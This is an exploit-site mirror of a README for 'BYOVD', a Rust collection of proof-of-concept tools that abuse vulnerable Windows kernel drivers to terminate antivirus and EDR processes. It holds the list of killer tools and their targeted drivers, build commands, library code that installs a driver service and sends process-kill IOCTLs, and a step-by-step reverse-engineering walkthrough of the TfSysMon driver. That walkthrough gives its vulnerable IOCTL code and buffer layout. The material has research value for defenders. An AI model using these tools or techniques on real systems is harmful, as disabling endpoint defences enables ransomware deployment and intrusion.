Sploitus

Exploit Code

MARKDOWN539 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BLACKSNUFKIN-BYOVD
![cropped-Aug 28, 2025, 03_39_19 PM](https://assets.kitploit.com/production/public/readmes/15670/769147cee257c317f37a1b3ae3401ce653784a919232e5435d10115e10b5dc1d.png)

**BYOVD** is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions.

The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules.

* * *

> Since its initial discovery, the TfSysMon driver has been added to LOLDrivers and abused by ransomware groups using the **EDRKillShifter** tool, as reported by Sophos & ESET

* * *

## πŸ“š Table of Contents

  * πŸ” Overview
  * πŸ—οΈ Project Structure
  * πŸ”§ Building
  * πŸ“¦ byovd-lib
  * πŸ’‘ POCs
  * πŸ”¬ Complete Driver Reverse Engineering Process (x64)
  * πŸ”— References
  * ⚠️ Disclaimer



## πŸ” Overview

The **BYOVD technique** has recently gained popularity in offensive security, particularly with the release of tools such as SpyBoy's _Terminator_ (sold for $3,000) and the _ZeroMemoryEx Blackout_ project. These tools capitalize on vulnerable drivers to disable AV/EDR agents, facilitating further attacks by reducing detection.

This repository contains several PoCs developed for educational purposes, helping researchers understand how these drivers can be abused to terminate processes.

## πŸ—οΈ Project Structure

The project is organized as a **Rust Cargo workspace**. Most PoCs share a common library (`byovd-lib`) that handles the boilerplate: driver service lifecycle, IOCTL dispatch, process monitoring, privilege adjustment, and cleanup. Each killer is a thin binary (~50-100 lines) that only defines its driver-specific configuration. **`K7Terminator`, `Astra64-Killer`, `Ktapi-Killer`, and `Xhunter1-Killer` are standalone** β€” they have their own `[workspace]` declarations and are built directly from their own directories, not via the root workspace.

root@kitploit:~
    
    
    BYOVD/
    β”œβ”€β”€ Cargo.toml                       # Workspace root (deps + release profile)
    β”œβ”€β”€ Cargo.lock
    β”œβ”€β”€ README.md
    β”œβ”€β”€ LICENSE
    β”‚
    β”œβ”€β”€ byovd-lib/                       # Shared library
    β”‚   β”œβ”€β”€ Cargo.toml
    β”‚   └── src/
    β”‚       β”œβ”€β”€ lib.rs                   # DriverConfig trait + run() / send_ioctl() / run_monitor()
    β”‚       β”œβ”€β”€ service.rs               # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
    β”‚       β”œβ”€β”€ device.rs                # DeviceHandle -- 5 typed IOCTL dispatch shapes
    β”‚       β”œβ”€β”€ handle.rs                # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
    β”‚       β”œβ”€β”€ process.rs               # find_pid_by_name / find_all_pids_by_name
    β”‚       β”œβ”€β”€ monitor.rs               # run_monitor_loop (closure-based) + setup_ctrlc_handler
    β”‚       β”œβ”€β”€ privilege.rs             # enable_privilege / ensure_running_as_local_system
    β”‚       └── util.rs                  # to_wstring / to_cstring / get_current_dir
    β”‚
    β”œβ”€β”€ AppRemover-Killer/               # OPSWAT AppRemover ardrv.sys
    β”œβ”€β”€ Astra64-Killer/                   # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer
    β”œβ”€β”€ BdApiUtil-Killer/                # Baidu BdApiUtil64 (CVE-2024-51324)
    β”œβ”€β”€ CcProtect-Killer/                # CnCrypt CcProtect
    β”œβ”€β”€ EnPortv-Killer/                  # EnCase EnPortv
    β”œβ”€β”€ GameDriverX64-Killer/            # Fedeen GameDriverX64 (CVE-2025-61155)
    β”œβ”€β”€ GoFlyDrv-Killer/                 # Golink GoFlyDrv
    β”œβ”€β”€ HNOs2Ec-Killer/                  # HONOR PCManager HNOs2Ec.sys
    β”œβ”€β”€ HWAudioOs2Ec-Killer/             # Huawei Audio driver HWAudioOs2Ec.sys
    β”œβ”€β”€ K7Terminator/                    # K7 RKScan -- standalone, LPE + BYOVD modes
    β”œβ”€β”€ Ksapi64-Killer/                  # Kingsoft ksapi64
    β”œβ”€β”€ Ktapi-Killer/                    # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer
    β”œβ”€β”€ MonProcess-Killer/               # HONOR HnRSMService MonProcess.sys
    β”œβ”€β”€ MonProcessEX-Killer/             # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
    β”œβ”€β”€ NSec-Killer/                     # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
    β”œβ”€β”€ PCTcore64-Killer/                # PC Tools PCTcore64 (CVE-2026-8501)
    β”œβ”€β”€ PoisonX-Killer/                  # Microsoft PoisonX (j3h4ck reproduction)
    β”œβ”€β”€ STProcessMonitor-Killer/         # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
    β”œβ”€β”€ TfSysMon-Killer/                 # ThreatFire sysmon
    β”œβ”€β”€ UnknownKiller/                   # unattributed unknown.sys
    β”œβ”€β”€ Viragt64-Killer/                 # Tg Soft viragt64
    β”œβ”€β”€ Wsftprm-Killer/                  # Topaz wsftprm (CVE-2023-52271)
    β”œβ”€β”€ Xhunter1-Killer/                 # Wellbia xhunter1.sys (CVE-2026-3609)
    └── Xkpsm-Killer/                    # JiranJikyosoft X-Keeper xkpsm
    

Each `*-Killer/` directory contains its own `Cargo.toml`, `src/main.rs` (the `DriverConfig` impl + CLI), `README.md` (driver hashes + usage), and the matching `.sys` file the binary loads at runtime.

## πŸ”§ Building

**Prerequisites:** Rust toolchain and Visual Studio Build Tools with the Windows SDK.

root@kitploit:~
    
    
    # Build all tools (release, optimized + stripped)
    cargo build --release
    
    # Build a single tool
    cargo build --release -p BdApiUtil-Killer
    
    # Build multiple specific tools
    cargo build --release -p NSec-Killer -p Wsftprm-Killer
    

Binaries are output to `target/release/`. Copy the corresponding `.sys` driver file into the same directory as the executable before running.

## πŸ“¦ byovd-lib

`byovd-lib` is the shared library that all PoCs (except K7Terminator) are built on. It exposes **two complementary APIs** \-- a high-level declarative one for the standard "install driver, kill on sight, clean up" flow, and a low-level imperative one for killers that need a custom flow (attach to an already-loaded driver, fan out to multiple PIDs, structured IOCTL buffers, custom retry logic, etc.). Both can be mixed in the same binary.

### Module layout

root@kitploit:~
    
    
    byovd-lib/src/
    β”œβ”€β”€ lib.rs        # DriverConfig trait + run() / send_ioctl() / run_monitor()
    β”œβ”€β”€ service.rs    # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete)
    β”œβ”€β”€ device.rs     # DeviceHandle -- typed IOCTL dispatch (5 shapes)
    β”œβ”€β”€ handle.rs     # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
    β”œβ”€β”€ process.rs    # find_pid_by_name / find_all_pids_by_name
    β”œβ”€β”€ monitor.rs    # run_monitor_loop (closure-based) + setup_ctrlc_handler
    β”œβ”€β”€ privilege.rs  # enable_privilege / ensure_running_as_local_system
    └── util.rs       # to_wstring / to_cstring / get_current_dir
    

### High-level API: `DriverConfig` trait + `run()`

This is what the bundled killers use. Implement the trait, call `byovd_lib::run()`, done.

root@kitploit:~
    
    
    use byovd_lib::{DriverConfig, Result};
    use clap::Parser;
    
    struct MyDriver;
    impl DriverConfig for MyDriver {
        fn driver_name(&self) -> &str { "MyDriver" }
        fn driver_file(&self) -> &str { "mydriver.sys" }
        fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
        fn ioctl_code(&self) -> u32 { 0xDEAD }
        fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
            pid.to_ne_bytes().to_vec()
        }
    }
    
    #[derive(Parser)]
    struct Cli {
        #[arg(short = 'n', long = "name", required = true)]
        process_name: String,
    }
    
    fn main() -> Result<()> {
        let cli = Cli::parse();
        byovd_lib::run(&MyDriver, &cli.process_name, None)
    }
    

`run()` does: `preflight_check` β†’ install service (`SERVICE_DEMAND_START`) β†’ `StartService` β†’ kill-on-sight monitor (Ctrl+C to exit) β†’ stop + delete service.

Optional trait overrides with their defaults:

### Low-level API: imperative pieces

When the trait flow doesn't fit -- e.g. the driver is already loaded and you only want to fire one IOCTL, you need a custom retry policy, the IOCTL takes a structured input rather than just a PID, or you want to fan out across all matching PIDs -- compose the lower-level pieces directly.

**Driver lifecycle** \-- `ByovdDriver`:

root@kitploit:~
    
    
    use byovd_lib::ByovdDriver;
    
    let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\\\.\\MyDevice")?;
    driver.start()?;                       // ERROR_SERVICE_ALREADY_RUNNING is OK
    let device = driver.open_device()?;    // returns DeviceHandle
    // ... send IOCTLs ...
    driver.stop_and_delete()?;
    

**IOCTL dispatch** \-- `DeviceHandle` exposes five typed shapes:

The typed forms remove the manual `to_ne_bytes()` / `extend_from_slice()` boilerplate when the IOCTL takes a struct (e.g. `{ pid: u32, padding: [u8; 20] }`).

**Process lookup** \-- `find_pid_by_name(name)` (first match) and `find_all_pids_by_name(name)` (all matches, excludes system PIDs ≀ 4).

**Custom monitor loop** \-- `run_monitor_loop(name, interval, |pid| ...)` takes a closure so you can do whatever you want per match (multiple IOCTLs, structured logging, fan-out across PIDs, retry on error).

**Privileges** \-- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` for drivers that require explicit token privileges. `ensure_running_as_local_system()` returns an error if the process is not running as `S-1-5-18`.

**Handle wrappers** \-- `WinHandle` (auto-`CloseHandle`) and `ScHandle` (auto-`CloseServiceHandle`) are `Send + Sync` and can be moved across threads.

### Example: attach to an already-loaded driver, no service lifecycle

This is what `UnknownKiller --attach` does -- skip SCM entirely, just open the device and fire the IOCTL once:

root@kitploit:~
    
    
    use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
    
    fn main() -> Result<()> {
        let device = DeviceHandle::open("\\\\.\\eb")?;
        let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
        device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
        Ok(())
    }
    

### Back-compat aliases

`FileHandle` / `ServiceHandle` still resolve to `WinHandle` / `ScHandle`, and `get_pid_by_name` is kept as an alias for `find_pid_by_name`, so older code referencing those names keeps compiling.

## πŸ’‘ POCs

Below are the drivers and their respective PoCs available in this repository:

  * **AppRemover-Killer** : Targets `ardrv.sys` from `OPSWAT AppRemover`.
  * **Astra64-Killer** : Targets `astra64.sys` from `EnTech Taiwan` (Astra32 / TVicHW) -- standalone data-only Shadow SSDT hijack EDR killer.
  * **BdApiUtil-Killer** : Targets `BdApiUtil64.sys` from `Baidu AntiVirus` (CVE-2024-51324).
  * **CcProtect-Killer** : Targets `CcProtect.sys` from `CnCrypt`.
  * **EnPortv-Killer** : Targets `EnPortv.sys` from `Guidance EnCase`.



## πŸ”¬ Complete Driver Reverse Engineering Process (x64)

This section demonstrates the complete A-Z reverse engineering methodology using the TfSysMon driver as a practical example. This process applies to any x64 Windows kernel driver analysis.

## 🎯 Step 0: Pre-Analysis - Function Import Screening

Check driver imports before starting reverse engineering.

A basic process killer driver requires 2 things:

a way to get a handle on a process (for instance **ZwOpenProcess** or **NtOpenProcess**)

a way to terminate the process (for instance **ZwTerminateProcess** or **NtTerminateProcess**)

Check if a driver imports both function types. If a driver has in its imported functions Nt/ZwOpenProcess AND Nt/ZwTerminateProcess then it's a potential process killer driver candidate.

Only after confirming these imports should you proceed to detailed reverse engineering in IDA Pro.

### πŸ› οΈ Prerequisites for x64 Driver Analysis

**Required Tools:**

  * **IDA Pro** \- for disassembling the driver for static analysis
  * **OSRLoader** \- for loading/running the driver (alternative to sc.exe command)



### πŸ“ Step 1: Locate and Analyze DriverEntry

**Every Windows driver starts with DriverEntry - find this function first:**

In TfSysMon, the DriverEntry looks like this:

root@kitploit:~
    
    
    NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
    {
      unsigned __int64 v2; // rax
      v2 = BugCheckParameter2;
      if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL )
      {
        v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL;
        if ( !v2 )
          v2 = 0x2B992DDFA232LL;
        BugCheckParameter2 = v2;
      }
      BugCheckParameter3 = ~v2;
      return sub_17484(DriverObject);
    }
    

**Analysis Notes:**

  * The code performs some initialization with BugCheckParameter2 and BugCheckParameter3
  * The real driver initialization happens in `sub_17484`
  * Follow the call to `sub_17484(DriverObject)` \- this is where actual driver setup occurs



### πŸ“ Step 2: Follow Driver Initialization Chain

**Navigate to the initialization function (`sub_17484`):**

root@kitploit:~
    
    
    NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
    {
      // ... initialization code ...
      
      RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
      result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
      if ( result < 0 )
        return result;
        
      qword_1D5D8 = 0;
      dword_1D5D0 = 1;
      DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
      DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
      DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
      DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
      DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
      
      RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
      v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
      // ... rest of function ...
    }
    

**Key Reverse Engineering Findings:**

  * **Device Name** : `\\Device\\TfSysMon` (kernel space)
  * **Symbolic Link** : `\\DosDevices\\TfSysMon` (user-mode accessible as `\\.\\TfSysMon`)
  * **Device Type** : `0x22` = FILE_DEVICE_UNKNOWN
  * **IRP Handler** : All major functions point to `sub_17694`
  * **Target Function** : MajorFunction[14] = IRP_MJ_DEVICE_CONTROL handler



### πŸ“ Step 3: Analyze the IRP Dispatch Function

**Navigate to the dispatch function (`sub_17694`):**

root@kitploit:~
    
    
    __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2)
    {
      struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx
      unsigned int v4; // ebx
      
      if ( a1 != DeviceObject )
      {
        v4 = -1073741790;
        goto LABEL_20;
      }
      CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
      v4 = 0;
      if ( !CurrentStackLocation->MajorFunction )
      {
        // Handle IRP_MJ_CREATE
      }
      else if ( CurrentStackLocation->MajorFunction == 2 )
      {
        // Handle IRP_MJ_CLOSE
      }
      else if ( CurrentStackLocation->MajorFunction <= 0xDu )
      {
        goto LABEL_7;
      }
      else if ( CurrentStackLocation->MajorFunction <= 0xFu )
      {
        v4 = sub_177D8(a2);  // THIS IS THE IOCTL HANDLER
        goto LABEL_20;
      }
      // ... rest of function
    }
    

**Reverse Engineering Analysis:**

  * Device validation occurs first (`if ( a1 != DeviceObject )`)
  * `CurrentStackLocation->MajorFunction` determines the operation type
  * **CRITICAL** : MajorFunction values 14 (0xE) and 15 (0xF) call `sub_177D8`
  * MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL processing
  * The vulnerable code path is: **IOCTL request β†’ sub_177D8**



### πŸ“ Step 4: Reverse Engineer the IOCTL Handler

**Navigate to the IOCTL processing function (`sub_177D8`):**

root@kitploit:~
    
    
    __int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
    {
      // ... variable declarations ...
      
      v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
      MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
      v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
      v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
      
      if ( v7 > 0xB4A00070 )
      {
        if ( v7 > 0xB4A000F8 )
        {
          if ( v7 != -1264582404 )
          {
            switch ( v7 )
            {
              // ... various cases ...
              case 0xB4A00404:  // VULNERABLE IOCTL CODE
                if ( (unsigned int)v9 >= 0x18 )
                  return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
                break;
              // ... more cases ...
            }
          }
        }
      }
      // ... rest of function
    }
    

**Critical Reverse Engineering Discoveries:**

  * **IOCTL Extraction** : `v7 = *(_DWORD *)(a2 + 24)` gets the IOCTL code from IO_STACK_LOCATION
  * **Input Buffer** : `Irp->AssociatedIrp.MasterIrp` contains user data
  * **Buffer Length** : `v9 = *(unsigned int *)(a2 + 16)` gets input buffer size
  * **Vulnerable IOCTL** : `0xB4A00404` leads to `sub_1837C`
  * **Size Check** : Only validates buffer β‰₯ 0x18 (24 bytes) - minimal validation!



### πŸ“ Step 5: Analyze the Vulnerable Function

**Navigate to the process termination function (`sub_1837C`):**

root@kitploit:~
    
    
    __int64 __fastcall sub_1837C(__int64 a1)
    {
      unsigned int v2; // ebx
      void *v3; // rax
      unsigned int v4; // edi
      NTSTATUS v6; // eax
      // ... variable declarations ...
      
      v2 = 0;
      if ( MmIsAddressValid((PVOID)a1) )
      {
        v3 = *(void **)(a1 + 4);  // EXTRACT PID FROM OFFSET +4
        v4 = 0;
        if ( !v3 )
          return 3221225485LL;
        memset(&ObjectAttributes.RootDirectory, 0, 20);
        ObjectAttributes.SecurityDescriptor = 0;
        ObjectAttributes.SecurityQualityOfService = 0;
        ClientId.UniqueThread = 0;
        ObjectAttributes.Length = 48;
        ClientId.UniqueProcess = v3;  // SET TARGET PID
        while ( 1 )
        {
          v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId);
          v7 = v6 < 0;
          v2 = v6;
          if ( !v6 )
            break;
          v8 = v4++;
          if ( v8 >= 3 )
          {
            v7 = v6 < 0;
            break;
          }
        }
        if ( !v7 )
        {
          v9 = 0;
          do
          {
            v2 = ZwTerminateProcess(ProcessHandle, 0);  // TERMINATE PROCESS
            if ( !v2 )
              break;
            v10 = v9++;
          }
          while ( v10 < 3 );
          ZwClose(ProcessHandle);
        }
      }
      return v2;
    }
    

**Function Analysis:**

  * **Input Structure** : From the driver code analysis, we determined the buffer layout where PID is at offset +4
  * **Input Parsing** : `v3 = *(void **)(a1 + 4)` extracts PID from input buffer at offset +4
  * **Process Opening** : `ZwOpenProcess` with minimal access rights (1u = PROCESS_TERMINATE)
  * **No Security Checks** : No validation of caller privileges or target process protection
  * **Process Termination** : Direct call to `ZwTerminateProcess`
  * **Retry Logic** : Multiple attempts for both opening and termination
  * **Any Process** : Can terminate any process accessible to SYSTEM account



### πŸ“ Step 6: Map the Complete Attack Chain

**Complete Reverse Engineering Flow:**

  1. **Entry Point** : User calls `DeviceIoControl` on `\\.\\TfSysMon`
  2. **IRP Creation** : I/O Manager creates IRP with MajorFunction = 14
  3. **Dispatch** : `sub_17694` routes to `sub_177D8` for IOCTL processing
  4. **IOCTL Check** : `sub_177D8` validates IOCTL code `0xB4A00404` and buffer size β‰₯ 24 bytes
  5. **Execution** : Calls `sub_1837C` with user input buffer
  6. **Termination** : `sub_1837C` extracts PID from offset +4 and terminates process via `ZwTerminateProcess`



**Input Buffer Structure (from driver reverse engineering):**

root@kitploit:~
    
    
    Offset 0x00-0x03: [padding] - 4 bytes
    Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
    Offset 0x08-0x17: [extra_padding] - 16 bytes
    Total Size: 24 bytes (0x18) - matches driver's minimum size check
    

> This methodology demonstrates how to systematically reverse engineer any Windows x64 kernel driver to identify similar vulnerabilities by following the execution path from user-mode communication through to dangerous kernel operations.

## Support 🍺

If BYOVD helped your red team operations, consider buying me a beer:

![](https://assets.kitploit.com/production/public/readmes/15670/a7e8174c892355a24fbaec083cbef385d097a0b488fd4823dbbb0061643bb5e2.png)

## πŸ”— References

  * **Alice Climent-Pommeret's Blog** : Finding and Exploiting Process Killer Drivers with LOL for $3000
  * **LOLDrivers** : A Central Repository of Known Vulnerable Drivers
  * **Microsoft Driver Block Rules** : Microsoft's Recommended Driver Block Rules
  * **Windows Kernel Programming** by Pavel Yosifovich
  * **Windows Internals, Part 1 & 2** by Mark E. Russinovich, Alex Ionescu, David Solomon



## ⚠️ Disclaimer

**The BYOVD Project** is for **educational and research purposes only**. The author is not responsible for any misuse or damage caused by these programs. Always seek explicit permission before using these tools on any system.